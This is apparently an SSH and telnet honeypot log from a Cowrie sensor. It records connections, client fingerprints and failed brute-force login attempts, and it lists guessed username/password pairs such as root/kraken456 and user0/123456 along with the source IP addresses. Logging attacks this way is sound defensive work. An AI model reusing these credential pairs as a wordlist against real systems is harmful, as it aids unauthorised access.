{"eventid":"cowrie.session.connect","src_ip":"162.240.75.182","src_port":49608,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca33493ff176","protocol":"ssh","message":"New connection: 162.240.75.182:49608 (159.203.135.109:22) [session: ca33493ff176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:16.716111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:16.720527Z","src_ip":"162.240.75.182","session":"ca33493ff176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:16.803145Z","src_ip":"162.240.75.182","session":"ca33493ff176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:16.841769Z","src_ip":"154.205.134.214","session":"35b0aad82d21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kraken456","message":"login attempt [root/kraken456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:17.081210Z","src_ip":"162.240.75.182","session":"ca33493ff176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Dmin2026","message":"login attempt [root/@Dmin2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:17.472840Z","src_ip":"154.205.134.214","session":"35b0aad82d21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:18.166792Z","src_ip":"162.240.75.182","session":"ca33493ff176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:18.626614Z","src_ip":"154.205.134.214","session":"35b0aad82d21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":44932,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9199aaa876b","protocol":"ssh","message":"New connection: 172.190.89.127:44932 (159.203.135.109:22) [session: f9199aaa876b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:29.592402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:29.595666Z","src_ip":"172.190.89.127","session":"f9199aaa876b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:29.605254Z","src_ip":"172.190.89.127","session":"f9199aaa876b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootpwd","message":"login attempt [root/rootpwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:29.681603Z","src_ip":"172.190.89.127","session":"f9199aaa876b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:30.694790Z","src_ip":"172.190.89.127","session":"f9199aaa876b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.249.148","src_port":33700,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a61516ed0fa","protocol":"ssh","message":"New connection: 192.169.249.148:33700 (10.17.0.5:22) [session: 0a61516ed0fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:31.415724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:31.419600Z","src_ip":"192.169.249.148","session":"0a61516ed0fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:31.487378Z","src_ip":"192.169.249.148","session":"0a61516ed0fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"F1L#Tr0ng!P@ss","message":"login attempt [root/F1L#Tr0ng!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:31.684909Z","src_ip":"192.169.249.148","session":"0a61516ed0fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:32.752619Z","src_ip":"192.169.249.148","session":"0a61516ed0fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.84","src_port":48700,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3293037b1c2","protocol":"ssh","message":"New connection: 41.242.115.84:48700 (159.203.135.109:22) [session: c3293037b1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:38.445716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:38.449644Z","src_ip":"41.242.115.84","session":"c3293037b1c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:38.662953Z","src_ip":"41.242.115.84","session":"c3293037b1c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6688","message":"login attempt [root/6688] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:39.551293Z","src_ip":"41.242.115.84","session":"c3293037b1c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:40.767419Z","src_ip":"41.242.115.84","session":"c3293037b1c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.52656149864197,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:52.750039Z","src_ip":"170.64.224.25","session":"02f913bb028b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":47106,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b4c5d3b620d","protocol":"telnet","message":"New connection: 143.198.154.150:47106 (159.203.135.109:23) [session: 6b4c5d3b620d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:00:06.946971Z"}
{"eventid":"cowrie.session.closed","duration":3.917415142059326,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:00:10.864224Z","src_ip":"143.198.154.150","session":"6b4c5d3b620d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.125.165.132","src_port":40882,"dst_ip":"10.17.0.5","dst_port":22,"session":"f801b9078806","protocol":"ssh","message":"New connection: 113.125.165.132:40882 (10.17.0.5:22) [session: f801b9078806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:00:27.868718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:00:27.873248Z","src_ip":"113.125.165.132","session":"f801b9078806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:00:28.122433Z","src_ip":"113.125.165.132","session":"f801b9078806","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"abc123","message":"login attempt [develop/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:00:29.151757Z","src_ip":"113.125.165.132","session":"f801b9078806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:00:30.399985Z","src_ip":"113.125.165.132","session":"f801b9078806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":55492,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a818b1c01ed","protocol":"telnet","message":"New connection: 143.198.154.150:55492 (159.203.135.109:23) [session: 6a818b1c01ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:00:43.015618Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":50364,"dst_ip":"159.203.135.109","dst_port":23,"session":"45ca35117917","protocol":"telnet","message":"New connection: 107.6.151.170:50364 (159.203.135.109:23) [session: 45ca35117917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:00:44.556287Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":50724,"dst_ip":"159.203.135.109","dst_port":22,"session":"43f82af27dd6","protocol":"ssh","message":"New connection: 147.45.211.215:50724 (159.203.135.109:22) [session: 43f82af27dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:00:48.586341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:00:48.590779Z","src_ip":"147.45.211.215","session":"43f82af27dd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:00:48.762144Z","src_ip":"147.45.211.215","session":"43f82af27dd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rover","message":"login attempt [root/rover] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:00:49.279679Z","src_ip":"147.45.211.215","session":"43f82af27dd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:00:50.455245Z","src_ip":"147.45.211.215","session":"43f82af27dd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.180.250.11","src_port":38172,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1fcc98f26c0","protocol":"ssh","message":"New connection: 94.180.250.11:38172 (10.17.0.5:22) [session: c1fcc98f26c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:01:04.859909Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.205.134.214","src_port":40816,"dst_ip":"159.203.135.109","dst_port":22,"session":"255f91de6d04","protocol":"ssh","message":"New connection: 154.205.134.214:40816 (159.203.135.109:22) [session: 255f91de6d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:01:11.600997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:01:11.605417Z","src_ip":"154.205.134.214","session":"255f91de6d04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:01:11.765589Z","src_ip":"154.205.134.214","session":"255f91de6d04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user0","password":"123456","message":"login attempt [user0/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:01:12.440689Z","src_ip":"154.205.134.214","session":"255f91de6d04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:01:13.603431Z","src_ip":"154.205.134.214","session":"255f91de6d04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.237.244.154","src_port":37398,"dst_ip":"159.203.135.109","dst_port":22,"session":"3828b1263bf8","protocol":"ssh","message":"New connection: 77.237.244.154:37398 (159.203.135.109:22) [session: 3828b1263bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:01:13.794489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:01:13.798870Z","src_ip":"77.237.244.154","session":"3828b1263bf8","protocol":"ssh"}
